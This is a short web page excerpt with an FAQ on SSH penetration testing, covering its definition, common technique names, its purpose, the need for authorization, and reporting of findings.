Testing RDP Penetration Testing SMB Penetration Testing PostgreSQL Penetration Testing F.A.Q What is SSH Penetration Testing?SSH Penetration Testing is the process of testing and identifying vulnerabilities in the Secure Shell (SSH) protocol implementation, configuration, and access control. It involves various attacks to determine if a system is vulnerable to unauthorized access, data theft, or system compromise.What are the standard SSH Penetration Testing techniques?Common SSH Penetration Testing techniques include password guessing, SSH banner grabbing, protocol fuzzing, denial of service (DoS) attacks, man-in-the-middle (MITM) attacks, key-based authentication, and configuration errors.What is the purpose of SSH Penetration Testing?The purpose of SSH Penetration Testing is to identify security weaknesses in the SSH protocol implementation, configuration, and access control, and to help organizations improve their security posture by addressing identified vulnerabilities.Can SSH Penetration Testing be performed without permission?No, SSH Penetration Testing should not be performed without proper authorization. Unauthorized penetration testing is illegal and can lead to serious legal consequences.What should be done after SSH Penetration Testing?After SSH Penetration Testing, all identified vulnerabilities should be documented and reported to the system owner or administrator. The system owner should take appropriate measures to address identified vulnerabilities and improve the security of the system. Read the full article